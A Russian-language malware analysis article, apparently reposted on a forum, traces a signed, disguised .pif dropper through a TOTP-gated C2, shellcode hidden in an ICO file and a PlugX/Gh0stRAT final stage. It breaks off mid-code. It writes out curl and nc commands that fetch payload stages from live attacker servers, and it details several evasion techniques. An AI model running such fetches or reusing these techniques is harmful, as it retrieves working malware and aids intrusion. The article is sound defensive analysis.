- Регистрация
- 23 Авг 2023
- Сообщения
- 3,969
- Реакции
- 0
- Баллы
- 36
Ofline
*Статический анализ на Linux без запуска вредоноса: от .pdf файла до полного контроля над системой
Здравствуйте, хабровчане. Это моя первая статья, но можно судить строго и кидаться тапками - критика приветствуется
На днях ко мне попал интересный файл с безобидным на первый взгляд именем - что-то похожее на вложение из мессенджера. Внутри оказалась тщательно спроектированный многоступенчатый зловред, анализом которого я хочу поделиться с вами.
В этой статье я разберу всю цепочку шаг за шагом - с реальными командами, выводами и объяснением того, что происходит на каждом уровне. Для понимания материала знание ассемблера или низкоуровневого программирования не требуется: там, где встречаются машинные инструкции, я объясняю их смысл.
Оговорюсь сразу - в статье рассматриввается именно проведение статического анализа. Часть информации, которая получена в процессе, можно было бы получить проще, просто запустив вредонос в контролируемой среде и анализируя поведения, однако я сознательно этого не делаю в обучающих целях.
Файл:
Размер: 408 КБ
SHA-256:
Первое, что бросается в глаза - само имя файла. Префикс
PIF (Program Information File) - это реликт эпохи Windows 3.x, файл конфигурации для запуска DOS-программ. Windows до сих пор обрабатывает его как исполняемый. А еще
Сразу сохраняю имя файла в переменную для удобства:
Первая команда при анализе любого неизвестного файла -
Это 32-битный исполняемый файл Windows (PE32 - Portable Executable, 32-bit). Подсистема GUI означает, что при запуске не появится консольное окно - программа работает невидимо для пользователя.
Сразу вычисляю хеши для поиска на VirusTotal:
На момент написания статьи VirusTotal не считает что этот файл опасным
Раз это исполняемый файл Windows, буду анализировать его соответственно
В заголовке Portable Executable файла указано: когда скомпилирован, для какой архитектуры, какие секции внутри и какие внешние функции нужны. Для чтения этой информации здесь и далее буду использовать Python и библиотеку
Энтропия - мера «случайности» данных. Обычный текст имеет низкую энтропию (~3–4), скомпилированный код - среднюю (~6), зашифрованные или сжатые данные - высокую (~7,5–8). Секция
PE-файлы могут хранить метаданные о себе - название продукта, версию, компанию. Читаем:
Приложение предсталяется как "плагин двухфакторной аутентификации", также указана компания. Моя попытка нагуглить что-либо по этому имени ничего не дала.
Поищем что-нибудь интересное в
Среди прочего видим
CRL (Certificate Revocation List) и OCSP - это инфраструктура проверки цифровых сертификатов. Такие URL встречаются только внутри блока Authenticode-подписи PE-файла. Значит, файл подписан - и, судя по домену
Извлекаем подпись и смотрим подробности. В PE-формате она хранится в Security Directory (DATA_DIRECTORY с индексом 4):
Чем отличается EV от обычного сертификата? Обычный сертификат подписи кода получить относительно просто - достаточно email-верификации. EV-сертификат требует физической проверки личности или нотариально заверенных документов компании. Удостоверяющий центр (Certum) проверял реальный китайский бизнес с регистрационным номером
Для жертвы вредоноса это значит что Windows вешает на этот файл метку «Проверенный издатель», а встроенный антивирус на него не ругается.
То есть автор зловреда либо зарегистрировал фиктивную компанию и ухитрился получить сертификат, либо скомпрометировал реально существующую. Оба варианта говорят об очень серьезной подготовке
Каждый исполняемый файл Windows объявляет список функций из системных библиотек, которые он использует. Антивирусы смотрят на этот список в первую очередь. Смотрим и мы:
Только одна библиотека. Подозрительно. Нормальная Windows-программа импортирует десятки функций из десятков библиотек:
В выводе
И правда. Сетевые функции (
Zw-функции - это низкоуровневые системные вызовы из
Попытаемся понять, как наш образец действует с точки зрения сети.
Поищем интересное все в том же выводе
Взгляд зацепился за строку
Рядом
Что-то связанное с OTP кодами здесь определенно есть.
Проверяем, что сервер живой:
Это IP-адреса Cloudflare - сервер скрыт за CDN, реальный хостинг не виден.
Мы уже знаем маршрут:
Сервер вернул 77 904 байта. Первые байты
В какой-то момент я решил посмотреть что будет, если обратиться к серверу без TOTP заголовка
Проверка показала, что сервер отдает точно такой же файл и без заголовка TOTP. Ожидаемым поведением было бы следующее: сервер отдает payload при правильном заголовке, а при неправильном или его отсутствии - ведет себя как обычный web сервер.
Возможно, данный функционал еще просто не реализовали на серверной стороне.
Переименуем payload чтобы не путаться
Вычисляем хеш и снова идем на VirusTotal:
И снова по нулям - VirusTotal не считает файл опасным. Штош....
ICO-файл - это контейнер с несколькими изображениями разных размеров (16×16, 32×32, 48×48 и т.д.). Каждое изображение хранится в отдельном «слоте». Разбираем структуру:
Слоты 0-4 начинаются с
Слот 5 начинается с текста
Находим в загрузчике код, который ищет слот
Расшифровка - «вычесть 1». Каждый байт полезной нагрузки уменьшается на 1. Ключ шифрования
Извлекаем и расшифровываем:
Раз мы получили реальный код, мы на верном пути
Итак, у нас есть 1902 байта сырого машинного кода. Дизассемблер превращает байты обратно в условно читаемые инструкции - для этого использую
Вывод длинный, поэтому сначала делаю быстрый
Строка
После
Значит, данные зашифрованы XOR с ключом
Находим следющее (вывод сокращен)
Точно - XOR с
Это именно то что мы искали - куда ходит зловред по сети и чем он для этого пользуется.
Первая строка - мусор, это сам
Порт в виде строки не выводится - он хранится как двухбайтовое число. Смотрю на сырые байты в районе после IP:
Второй C2-сервер - голый IP, не домен. Он захардкожен в самом бинарнике. Порт 443 выбран намеренно: на большинстве файерволов он открыт для HTTPS, raw TCP туда пройдёт незамеченным.
Пока разбирал шеллкод, решил загуглить этот IP - и нашёл на Hybrid Analysis другой образец, который коннектится к тому же адресу. Там есть любопытная формулировка в поведенческом анализе: «отправляет трафик на типичный порт HTTPS без заголовка HTTP». Это независимое подтверждение того, что на 443 висит именно raw TCP, а не настоящий TLS.
Итак, есть IP и порт. Пробую подключиться напрямую:
Таймаут. Сервер принял соединение, но ничего не отправляет. Возможно, клиент должен отправить какие-то данные? Какие?
После очень долгого и безуспешного копания в дизассемблированном шеллкоде, я догадался взглянуть непосредственно на hex dump, ведь сам файл не такой уж большой (около 2Kb)
Помимо уже виденной нами ранее строки godinfo во второй половине файла, среди мусора из первой части мы видим вот такой кусок, в самом начале:
Взгляд зацепился за "GET" и я снова пошел в дизассемблер. Вот эти две инструкции в начале - то что нас интересует
Расшифруем из HEX эти две строки:
Третья строка - 0x0 - нулевой байт, часто используется как символ конца строки.
Получаем
Отправился гуглить и вышел на вот этот интересный материал, где описывается механизм получения payload, аналогичный нашему. Далее цитата оттуда:
Также в статье говорится о финальной нагрузке, под названием GhostRAT - достаточно серьезный продукт, который много где засветился.
Отправляюсь пробовать получить "подарок"
Подключаемся через nc, а не curl, поскольку мы уже знаем что на самом деле это не http, а raw TCP.
Первая попытка сделать так
не увенчалась успехом - сервер ничего не отправлял.
Было потрачено несколько часов прежде чем перечитал предыдущий раздел своей же статьи и обнаружил что в конце строки должен быть нулевой байт.
И это сработало:
Сервер передал 318 356 байт. Снова
Не оставляем надежды на VirusTotal:
Снова по нулям.
Значит изучаем то что мы получили самостоятельно
Файл начинается с байт
Значит, всё что до
Первый блок PE-файла - энтропия 3.22, очень низкая. Это заголовок: он состоит из фиксированных полей, нулевых выравниваний и магических констант - данные предсказуемые. Следующие 7 блоков - энтропия ~7.86, практически максимум. Такое бывает у зашифрованных данных или у сжатых. Последний блок - нули.
Складывается следующая картина:
Пока предположение такое:
Зачем шеллкод перед PE? Самое вероятное - это рефлективный загрузчик - код, который самостоятельно разворачивает встроенный PE-файл в памяти, не вызывая стандартный
Теперь, когда мы понимаем структуру полученного файла, можем попытаться вытащить из него само PE приложение
Извлекаем PE-файл:
Имена секций
Также видим, что в отличие от предыдущих файлов, с которыми мы имели дело, этот скомпилирован в 2022 года, достаточно давно
Распаковываем:
Из 30 КБ получили 48 КБ - распакованный зловред.
Снова считаем hash и идем на VirusTotal, не теряем надежды
На этот раз файл ему знаком
Скриншот с VirusTotal
Но для полноты картины давайте опознаем его самостоятельно
Запускаем
Замечаем там:
Внимательный читатель заметил, что это название уже упоминалось выше, когда мы вычисляли фразу GETGOD.
Собственно, наш зловред - тот же самый, что описывается в статье, за исключением первого этапа.
В
Всё остальное элементарно достается из гугла
Продолжая листать
Это список антивирусных процессов для завершения - стандартная практика для RAT. Все - достаточно знакомые. И отдельно -
Смотрим таблицу импортов - тем же способом, что и для Stage 1:
На этом можно закончить статический анализ, картина сложилась. Осталось кратко описать всю схему в одном месте для ленивых читателей
Общая схема работы зловреда
Финальная нагрузка - PlugX/Gh0stRAT - даёт атакующему полный контроль над машиной жертвы: интерактивная оболочка, доступ к рабочему столу, внедрение в процессы, отключение антивирусов, почти полное отсутствие артефактов на диске. Весьма опасный инструмент. Но при этом - не уникальный и не новый.
Сам бэкдор скомпилирован в 2022 году, и его поведение уже описано в открытых источниках. Механизм получения нагрузки через токен
Новым и по-настоящему опасным является другое. На момент анализа VirusTotal не знал ни первоначальный файл, ни ICO с шеллкодом. Домен
Антивирус молчит. SmartScreen молчит. Файл подписан настоящим EV-сертификатом. Пользователь кликает на то, что выглядит как фото из мессенджера - и получает полноценный RAT в памяти, которого даже не существует на диске.
Здравствуйте, хабровчане. Это моя первая статья, но можно судить строго и кидаться тапками - критика приветствуется
На днях ко мне попал интересный файл с безобидным на первый взгляд именем - что-то похожее на вложение из мессенджера. Внутри оказалась тщательно спроектированный многоступенчатый зловред, анализом которого я хочу поделиться с вами.
В этой статье я разберу всю цепочку шаг за шагом - с реальными командами, выводами и объяснением того, что происходит на каждом уровне. Для понимания материала знание ассемблера или низкоуровневого программирования не требуется: там, где встречаются машинные инструкции, я объясняю их смысл.
Оговорюсь сразу - в статье рассматриввается именно проведение статического анализа. Часть информации, которая получена в процессе, можно было бы получить проще, просто запустив вредонос в контролируемой среде и анализируя поведения, однако я сознательно этого не делаю в обучающих целях.
Что попало в руки
Файл:
IMAGE_IM_3b0844298f7151492fbf4c8996fb92427674144649b93465495991b7852b855&.pifРазмер: 408 КБ
SHA-256:
d7e32c3874b39ac6faa577b4ba517e8fca9895a411274b4226c94b1f6519ebcaПервое, что бросается в глаза - само имя файла. Префикс
IMAGE_IM_ имитирует вложения из WhatsApp или Telegram: именно так выглядят автоматически сохранённые фото. Длинная строка из цифр и букв - типичный автогенерируемый хеш от мессенджера. Символ & в имени - нечастый гость, но встречается в именах временных файлов. Расширение .pif - вот где начинается обман.PIF (Program Information File) - это реликт эпохи Windows 3.x, файл конфигурации для запуска DOS-программ. Windows до сих пор обрабатывает его как исполняемый. А еще
.pif похоже на .pdfСразу сохраняю имя файла в переменную для удобства:
SAMPLE="IMAGE_IM_3b0844298f7151492fbf4c8996fb92427674144649b93465495991b7852b855&.pif"Что это за зверь
Первая команда при анализе любого неизвестного файла -
file. Она смотрит на магические байты в начале файла (сигнатуру), а не на расширение:file "$SAMPLE"PE32 executable (GUI) Intel 80386, for MS Windows, 5 sectionsЭто 32-битный исполняемый файл Windows (PE32 - Portable Executable, 32-bit). Подсистема GUI означает, что при запуске не появится консольное окно - программа работает невидимо для пользователя.
Сразу вычисляю хеши для поиска на VirusTotal:
sha256sum "$SAMPLE"d7e32c3874b39ac6faa577b4ba517e8fca9895a411274b4226c94b1f6519ebcaНа момент написания статьи VirusTotal не считает что этот файл опасным
Раз это исполняемый файл Windows, буду анализировать его соответственно
PE-заголовок исполняемого файла
В заголовке Portable Executable файла указано: когда скомпилирован, для какой архитектуры, какие секции внутри и какие внешние функции нужны. Для чтения этой информации здесь и далее буду использовать Python и библиотеку
pefile:
Код:
import os, pefile, datetime
sample = os.environ['SAMPLE']
pe = pefile.PE(sample)
ts = datetime.datetime.utcfromtimestamp(pe.FILE_HEADER.TimeDateStamp)
print(f"Compiled: {ts}")
print(f"Subsystem: {pe.OPTIONAL_HEADER.Subsystem}")
for s in pe.sections: name = s.Name.rstrip(b'\x00').decode() print(f"{name:<10} size={s.SizeOfRawData:>7} entropy={s.get_entropy():.3f}")
Код:
Compiled: 2025-01-23 04:54:22
Subsystem: 2
.text size= 87552 entropy=6.610
.rdata size= 21504 entropy=5.073
.data size= 4096 entropy=2.381
.rsrc size= 258048 entropy=6.721
.reloc size= 4608 entropy=6.446
Subsystem = 2 значит что это приложение будет работать без открытия консольного окна.Энтропия - мера «случайности» данных. Обычный текст имеет низкую энтропию (~3–4), скомпилированный код - среднюю (~6), зашифрованные или сжатые данные - высокую (~7,5–8). Секция
.rsrc (ресурсы) размером 253 КБ с энтропией 6,72 - подозрительно много для иконок и манифеста. Запомним.Метаданные файла
PE-файлы могут хранить метаданные о себе - название продукта, версию, компанию. Читаем:
Код:
for fileinfo in pe.FileInfo[0]:
if fileinfo.Key == b'StringFileInfo':
for st in fileinfo.StringTable:
for k, v in st.entries.items():
print(f"{k.decode():<30} = {v.decode()}")
Код:
CompanyName = Beijing Guyundaji Trading Co., Ltd.
FileDescription = 2FA login verification plugin
InternalName = 2FA login.exe
ProductName = 2FA verifier
FileVersion = 110.0.2541.0
Приложение предсталяется как "плагин двухфакторной аутентификации", также указана компания. Моя попытка нагуглить что-либо по этому имени ничего не дала.
Неожиданная находка
Поищем что-нибудь интересное в
strings:strings -n 6 $SAMPLEСреди прочего видим
Код:
http://crl.certum.pl/cscasha2.crl
http://ocsp.certum.pl
http://timestamp.digicert.com
CRL (Certificate Revocation List) и OCSP - это инфраструктура проверки цифровых сертификатов. Такие URL встречаются только внутри блока Authenticode-подписи PE-файла. Значит, файл подписан - и, судя по домену
certum.pl, сертификатом от польского удостоверяющего центра Certum.Извлекаем подпись и смотрим подробности. В PE-формате она хранится в Security Directory (DATA_DIRECTORY с индексом 4):
Код:
# DATA_DIRECTORY[4] - это директория Security (Authenticode подпись)
sec = pe.OPTIONAL_HEADER.DATA_DIRECTORY[4]
with open(sample, "rb") as f: f.seek(sec.VirtualAddress) raw = f.read(sec.Size)
# Первые 8 байт - заголовок WIN_CERTIFICATE, дальше - DER-закодированный PKCS#7
cert_data = raw[8:]
with open("signature.der", "wb") as f: f.write(cert_data)
openssl pkcs7 -in signature.der -inform DER -print_certs -noout
Код:
subject=O = 北京谷云达吉商贸有限公司, jurisdictionC = CN, serialNumber = 91110112MAENGGCR13
issuer=CN = Certum Extended Validation Code Signing 2021 CA
Чем отличается EV от обычного сертификата? Обычный сертификат подписи кода получить относительно просто - достаточно email-верификации. EV-сертификат требует физической проверки личности или нотариально заверенных документов компании. Удостоверяющий центр (Certum) проверял реальный китайский бизнес с регистрационным номером
91110112MAENGGCR13.Для жертвы вредоноса это значит что Windows вешает на этот файл метку «Проверенный издатель», а встроенный антивирус на него не ругается.
То есть автор зловреда либо зарегистрировал фиктивную компанию и ухитрился получить сертификат, либо скомпрометировал реально существующую. Оба варианта говорят об очень серьезной подготовке
Таблица импорта
Каждый исполняемый файл Windows объявляет список функций из системных библиотек, которые он использует. Антивирусы смотрят на этот список в первую очередь. Смотрим и мы:
Код:
for lib in pe.DIRECTORY_ENTRY_IMPORT:
print(f"\n{lib.dll.decode()}:")
for imp in lib.imports:
print(f" {imp.name.decode()}")
Код:
KERNEL32.dll:
LoadLibraryW
GetProcAddress
VirtualProtect
IsDebuggerPresent
CreateFileW
...
Только одна библиотека. Подозрительно. Нормальная Windows-программа импортирует десятки функций из десятков библиотек:
user32.dll для GUI, ws2_32.dll для сети, advapi32.dll для реестра и т.д. Здесь всего KERNEL32.dll.LoadLibraryW + GetProcAddress - стандартная пара для динамической загрузки API. Смысл такой: вместо объявления «мне нужна функция WinHttpSendRequest из winhttp.dll» в таблице импорта (где её видит любой антивирус), программа во время работы сама загружает библиотеку и ищет функцию по имени. Имена функций хранятся просто как строки внутри файла.В выводе
strings, сохраненного ранее, видим:
Код:
WinHttpOpen
WinHttpConnect
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpReadData
ZwAllocateVirtualMemory
ZwProtectVirtualMemory
ZwCreateThreadEx
BCryptOpenAlgorithmProvider
BCryptCreateHash
...
И правда. Сетевые функции (
WinHttp*) для загрузки с C2-сервера, криптографические (BCrypt*) для вычисления TOTP, и самое интересное - Zw* функции.Zw-функции - это низкоуровневые системные вызовы из
ntdll.dll - самого нижнего уровня Windows API, прямо над ядром. ZwCreateThreadEx - создать поток, ZwAllocateVirtualMemory - выделить память. Обычные программы используют высокоуровневые обёртки (CreateThread, VirtualAlloc). Вредоносы используют Zw-версии, потому что многие антивирусные продукты перехватывают (hooking) только высокоуровневые функции - низкоуровневые часто остаются незащищёнными.Поиск C2-сервера
Попытаемся понять, как наш образец действует с точки зрения сети.
Поищем интересное все в том же выводе
strings, а также strings с ключом -e l. Второй вариант нужен, поскольку Windows-программы хранят строки типа URL и заголовков в UTF-16LE - два байта на символ. Флаг -e l переключает strings на этот режим:strings -n 6 "$SAMPLE" strings -e l "$SAMPLE"
Код:
SHA1
X-ID:
X-TOTP:
/verify
login.guyundaji.com
Код:
...
SHA1
...
KIOVZD2AVAAADDTS
...
%06d
...
Взгляд зацепился за строку
KIOVZD2AVAAADDTS - что-то знакомое. Такие строки используются для создания кодов двухфакторной аутентификации. Алфавит BASE32 (буквы A-Z и цифры 2-7)Рядом
SHA1 и формат %06d (шестизначное число).Что-то связанное с OTP кодами здесь определенно есть.
login.guyundaji.com - явно домен C2-сервера. Заголовок X-TOTP: позволяет предположить, что вычисленный TOTP-код отправляется в HTTP-заголовке.Взаимодействие с C2
Проверяем, что сервер живой:
Код:
nslookup login.guyundaji.com
# Address: 188.114.96.1
# Address: 188.114.97.1
Это IP-адреса Cloudflare - сервер скрыт за CDN, реальный хостинг не виден.
Мы уже знаем маршрут:
GET /verify с заголовками X-ID: и X-TOTP:. Вычисляем актуальный TOTP-код из найденного ключа и обращаемся так, как это делал бы сам вредонос:
Код:
import hmac, hashlib, struct, time, base64
key = base64.b32decode("KIOVZD2AVAAADDTS")
T = int(time.time() / 30)
h = hmac.new(key, struct.pack('>Q', T), hashlib.sha1).digest()
off = h[-1] & 0x0F
otp = (struct.unpack('>I', h[off:off+4])[0] & 0x7FFFFFFF) % 1_000_000
print(f"{otp:06d}") # например: 471921
Код:
curl -s -o c2_response.bin https://login.guyundaji.com/verify \
-H "X-ID: test-machine-001" \
-H "X-TOTP: 471921"
wc -c c2_response.bin
xxd c2_response.bin | head -2
Код:
77904 c2_ico_response.bin
00000000: 0000 0100 0900 1010 0000 0100 2000 9801 ............ ...
Сервер вернул 77 904 байта. Первые байты
00 00 01 00 магическая сигнатура Windows ICO-файла (файла иконок). На первый взгляд просто иконка приложения.В какой-то момент я решил посмотреть что будет, если обратиться к серверу без TOTP заголовка
Код:
curl -s -o c2_ico_response_noauth.bin https://login.guyundaji.com/verify
wc -c c2_ico_response_noauth.bin
diff c2response.bin c2_ico_response_noauth.bin && echo "файлы идентичны"
Код:
77904 c2_ico_response_noauth.bin
файлы идентичны
Проверка показала, что сервер отдает точно такой же файл и без заголовка TOTP. Ожидаемым поведением было бы следующее: сервер отдает payload при правильном заголовке, а при неправильном или его отсутствии - ведет себя как обычный web сервер.
Возможно, данный функционал еще просто не реализовали на серверной стороне.
Переименуем payload чтобы не путаться
mv c2_response.bin c2_ico_response.binВычисляем хеш и снова идем на VirusTotal:
sha256sum c2_ico_response.bin113dbd6d002b1512862556cf884ae97f02a8ebc860d9f63f7fe71b65e2c019dbИ снова по нулям - VirusTotal не считает файл опасным. Штош....
Разбор ICO-контейнера - где спрятан шеллкод
ICO-файл - это контейнер с несколькими изображениями разных размеров (16×16, 32×32, 48×48 и т.д.). Каждое изображение хранится в отдельном «слоте». Разбираем структуру:
Код:
import struct
with open("c2_ico_response.bin", "rb") as f:
data = f.read()
# ICO-заголовок: 6 байт
# reserved(2) + type=1(2) + count(2)
reserved, ico_type, count = struct.unpack_from('<HHH', data, 0)
print(f"ICO: {count} слотов")
# Каждый слот описывается 16-байтной записью
for i in range(count):
entry_off = 6 + i * 16
w, h, colors, _, planes, bpp, size, offset = struct.unpack_from('<BBBBHHIi', data, entry_off)
slot_data = data[offset:offset+16]
ascii_repr = ''.join(chr(b) if 0x20 <= b < 0x7f else '.' for b in slot_data[:12])
print(f"Слот {i} ({w}x{h}) size={size:>6} first_12_bytes={ascii_repr!r}")
Код:
ICO: 9 слотов
Слот 0 (16x16) size= 508 first_12_bytes='.PNG....IHDR'
Слот 1 (24x24) size= 984 first_12_bytes='.PNG....IHDR'
Слот 2 (32x32) size= 1728 first_12_bytes='.PNG....IHDR'
Слот 3 (48x48) size= 4636 first_12_bytes='.PNG....IHDR'
Слот 4 (64x64) size= 9771 first_12_bytes='.PNG....IHDR'
Слот 5 (72x72) size= 9547 first_12_bytes='ICO_OUTh....' <-- !!
Слот 6 (80x80) size= 11484 first_12_bytes='............'
Слот 7 (96x96) size= 15557 first_12_bytes='............'
Слот 8 (128x128) size= 23539 first_12_bytes='............'
Слоты 0-4 начинаются с
\x89PNG - реальные PNG-иконкиСлот 5 начинается с текста
ICO_OUT - похоже что отсюда начинается сам payload.Извлечение и расшифровка шеллкода
Находим в загрузчике код, который ищет слот
ICO_OUT. Для этого:
Находим файловое смещение строкиICO_OUT
Переводим в виртуальный адрес (VA) через карту секций
Ищем в дизассемблере инструкцию, которая ссылается на этот адрес
Читаем окружающий код
Код:
# Шаги 1 и 2: смещение → VA
raw = open(sample, 'rb').read()
fo = raw.find(b'ICO_OUT')
print(f'File offset: 0x{fo:x}')
for s in pe.sections:
if s.PointerToRawData <= fo < s.PointerToRawData + s.SizeOfRawData:
va = pe.OPTIONAL_HEADER.ImageBase + s.VirtualAddress + (fo - s.PointerToRawData)
print(f'VA: 0x{va:08x}')
Код:
File offset: 0x1bc28
VA: 0x0041d028
Код:
# Шаг 3: найти инструкцию, ссылающуюся на 0x41d028
objdump -d -M intel "$SAMPLE" | grep "41d028"
4018d3: ba 28 d0 41 00 mov edx,0x41d028
Код:
# Шаг 4: дизассемблировать вокруг (упрощённый вывод)
objdump -d -M intel --start-address=0x401970 --stop-address=0x401990 "$SAMPLE"
Код:
401970: 8a 0c 07 mov cl, byte [eax+edi] ; загрузить байт из слота ICO_OUT
401973: fe c9 dec cl ; вычесть 1 <-- ключ расшифровки
401975: 88 0c 02 mov byte [edx+eax], cl ; сохранить расшифрованный байт
401978: 40 inc eax
401979: 3b c3 cmp eax, ebx
40197b: 72 f4 jb 401970 ; повторить
Расшифровка - «вычесть 1». Каждый байт полезной нагрузки уменьшается на 1. Ключ шифрования
= 1. Это намеренно примитивно: усложнение не нужно, если полезная нагрузка в любом случае не хранится в файле.Извлекаем и расшифровываем:
Код:
import struct
with open("icon_5_72x72.bin", "rb") as f: slot = f.read()
# Структура слота ICO_OUT:
# [0:7] = "ICO_OUT" (маркер)
# [7:11] = uint32 little-endian (размер полезной нагрузки)
# [11:] = зашифрованные данные
payload_size = struct.unpack_from('<I', slot, 7)[0]
print(f"Размер: {payload_size} байт") # 1902
encrypted = slot[11:11+payload_size]
decrypted = bytes((b - 1) & 0xFF for b in encrypted)
print(f"Первые байты: {decrypted[:6].hex()}") # 55 8b ec 83 e4 f8
with open("stage2_shellcode.bin", "wb") as f: f.write(decrypted)
Код:
Размер: 1902 байт
Первые байты: 558bec83e4f8
55 8b ec в x86-ассемблере означает push ebp; mov ebp, esp - это стандартный пролог функции, первые три байта практически любой компилированной C-функции.Раз мы получили реальный код, мы на верном пути
Анализ шеллкода второго этапа
Итак, у нас есть 1902 байта сырого машинного кода. Дизассемблер превращает байты обратно в условно читаемые инструкции - для этого использую
ndisasm, он умеет работать с сырым бинарником без PE-обёртки:ndisasm -b 32 stage2_shellcode.bin | tee disasmed_stage2Вывод длинный, поэтому сначала делаю быстрый
strings - посмотреть, нет ли чего-то читаемого прямо так, без дизассемблирования:strings stage2_shellcode.bin
Код:
godinfoWPMZZMVWMQPWcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
bccbccc
PQ? 6
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
Строка
godinfo - явно не случайная. Гуглю, нахожу публичный репозиторий с таким же названием, но он мало помогает разобраться в поведении конкретного образца. Продолжаю анализ того, что имею на руках.После
godinfo идёт WPMZZMVWMQPW - тоже читаемые символы, но смысла не несут. А дальше - сотни одинаковых символов c. Это очень характерный паттерн.c в ASCII - это 0x63. Длинная цепочка одинаковых байт означает, что в исходных данных на этих позициях стоят нули: 0x00 XOR ключ = ключ. Если ключ - 0x63, то нулевые байты после XOR превращаются в 'c'. Это заполненные нулями поля структуры - буфер фиксированного размера, большая часть которого пустая.Значит, данные зашифрованы XOR с ключом
0x63. Иду в дизассемблирование проверять: cat disasmed_stage2| grep -i -A 50 xorНаходим следющее (вывод сокращен)
Код:
0000009C 80343063 xor byte [eax+esi], 0x63 ; XOR каждого байта с 0x63
000000A0 40 inc eax
000000A1 3D8C030000 cmp eax, 0x38C ; 908 итераций
000000A6 72F4 jc 0x9C ; повторить
Точно - XOR с
0x63. Расшифровываю блок и смотрю что внутри - просто выводим печатаемые строки:
Код:
import struct
with open("stage2_shellcode.bin", "rb") as f:
sc = f.read()
idx = sc.find(b"godinfo")
config_raw = sc[idx : idx+908]
config = bytes(b ^ 0x63 for b in config_raw)
for chunk in config.split(b'\x00'):
printable = ''.join(chr(b) for b in chunk if 0x20 <= b < 0x7f)
if len(printable) >= 4:
print(repr(printable))
Код:
'\x04\x0c\x07\n\r\x05\x0c'
'43.99.54.234'
'c:\\Windows\\System32\\CUrL.exe'
Это именно то что мы искали - куда ходит зловред по сети и чем он для этого пользуется.
Первая строка - мусор, это сам
godinfo после XOR (он хранится в открытом виде, XOR его портит). Остальное читаемо: IP-адрес и путь к curl в Windows.CUrL.exe написан в смешанном регистре - для обход сигнатур, ищущих строку curl.exe в нижнем регистре.Порт в виде строки не выводится - он хранится как двухбайтовое число. Смотрю на сырые байты в районе после IP:
print(config[0x130:0x140].hex())0000bb01000000000000000000000000bb 01 в little-endian - 0x01BB = 443. Порт найден.Второй C2-сервер - голый IP, не домен. Он захардкожен в самом бинарнике. Порт 443 выбран намеренно: на большинстве файерволов он открыт для HTTPS, raw TCP туда пройдёт незамеченным.
Пока разбирал шеллкод, решил загуглить этот IP - и нашёл на Hybrid Analysis другой образец, который коннектится к тому же адресу. Там есть любопытная формулировка в поведенческом анализе: «отправляет трафик на типичный порт HTTPS без заголовка HTTP». Это независимое подтверждение того, что на 443 висит именно raw TCP, а не настоящий TLS.
Итак, есть IP и порт. Пробую подключиться напрямую:
Код:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(("43.99.54.234", 443))
print(s.recv(16))
Таймаут. Сервер принял соединение, но ничего не отправляет. Возможно, клиент должен отправить какие-то данные? Какие?
Поиск ключа к серверу
После очень долгого и безуспешного копания в дизассемблированном шеллкоде, я догадался взглянуть непосредственно на hex dump, ведь сам файл не такой уж большой (около 2Kb)
xxd stage2_shellcode.binПомимо уже виденной нами ранее строки godinfo во второй половине файла, среди мусора из первой части мы видим вот такой кусок, в самом начале:
Код:
00000000: 558b ec83 e4f8 81ec ec01 0000 5356 578d U...........SVW.
00000010: 4c24 18c7 4424 0c47 4554 4766 c744 2410 L$..D$.GETGf.D$.
00000020: 4f44 c644 2412 00e8 9f02 0000 85c0 0f84 OD.D$...........
Взгляд зацепился за "GET" и я снова пошел в дизассемблер. Вот эти две инструкции в начале - то что нас интересует
Код:
00000013 C744240C47455447 mov dword [esp+0xc],0x47544547
0000001B 66C74424104F44 mov word [esp+0x10],0x444f
00000022 C644241200 mov byte [esp+0x12],0x0
Расшифруем из HEX эти две строки:
Код:
echo "0x47544547" | xxd -r -p
echo "0x444f" | xxd -r -p
Третья строка - 0x0 - нулевой байт, часто используется как символ конца строки.
Получаем
GTEG% и DO% . В архитектуре x86-64 используется способ записи чисел little-endian, где всё байты записываются задом наперёд. Так что первая строка - это GETG, а вторая - OD. Вместе - GETGOD. И хорошо сочетается с godinfo, который мы видели ранее. Это и есть наш ключ?Отправился гуглить и вышел на вот этот интересный материал, где описывается механизм получения payload, аналогичный нашему. Далее цитата оттуда:
The shellcode connects to the C2 server and transmits the string “GETGOD.” The C2 server responds with data representing the next (second) stage of the shellcode.Также в статье говорится о финальной нагрузке, под названием GhostRAT - достаточно серьезный продукт, который много где засветился.
Отправляюсь пробовать получить "подарок"
Загрузка финальной нагрузки
Подключаемся через nc, а не curl, поскольку мы уже знаем что на самом деле это не http, а raw TCP.
Первая попытка сделать так
echo 'GETGOD' | nc -w 3 43.99.54.234 443 > stage3_payload.binне увенчалась успехом - сервер ничего не отправлял.
Было потрачено несколько часов прежде чем перечитал предыдущий раздел своей же статьи и обнаружил что в конце строки должен быть нулевой байт.
И это сработало:
echo 'GETGOD\x00' | nc -w 3 43.99.54.234 443 > stage3_payload.binСервер передал 318 356 байт. Снова
55 8b ec в начале - значит, это не PE-файл (который начинался бы с MZ), а ещё один шеллкод-контейнер.Анализ структуры stage3 payload
Не оставляем надежды на VirusTotal:
sha256sum stage3_payload.bin2ce188196c078cc35ec6e8947821be57f5c061d4c06cf4bd4d329eac590576c8Снова по нулям.
Значит изучаем то что мы получили самостоятельно
Файл начинается с байт
55 8b ec - это не MZ. Первым делом ищу сигнатуру PE-файла внутри:
Код:
for i in range(0, min(len(data), 65536), 2):
if data[i:i+2] == b'MZ':
print(f"MZ найден по смещению 0x{i:x}")
MZ найден по смещению 0x2804Значит, всё что до
0x2804 - не PE. Это какой-то код, предшествующий основному приложению. Чтобы понять что внутри PE, смотрю энтропию блоками - не по всему файлу, а именно начиная с найденного смещения:
Код:
from math import log2
def entropy(block):
freq = {}
